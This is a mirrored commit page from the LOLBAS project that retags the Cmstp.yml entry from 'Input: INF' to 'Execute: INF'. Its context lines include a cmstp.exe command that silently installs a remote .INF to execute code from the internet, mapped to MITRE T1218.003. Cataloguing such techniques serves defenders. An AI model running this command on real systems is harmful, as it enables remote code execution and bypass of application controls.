public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-01-02 18:17:09 +01:00
Code Issues Projects Releases Wiki Activity

Update Cmstp.yml

Browse Source 
Tags:
Changed Input: INF to Execute INF for consistency
Inout: Customformat added
This commit is contained in:
hegusung 2024-10-13 12:16:28 +02:00 committed by GitHub
parent 3123301802
commit 6546853446
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 4 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
yml/OSBinaries/Cmstp.yml
View File

@ -12,7 +12,8 @@ Commands:
MitreID: T1218.003 MitreID: T1218.003
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags: Tags:
- Input: INF - Execute: INF
- Input: Custom Format
- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf - Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
Usecase: Execute code hidden within an inf file. Execute code directly from Internet. Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
@ -21,7 +22,8 @@ Commands:
MitreID: T1218.003 MitreID: T1218.003
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Tags: Tags:
- Input: INF - Execute: INF
- Input: Custom Format
Full_Path: Full_Path:
- Path: C:\Windows\System32\cmstp.exe - Path: C:\Windows\System32\cmstp.exe
- Path: C:\Windows\SysWOW64\cmstp.exe - Path: C:\Windows\SysWOW64\cmstp.exe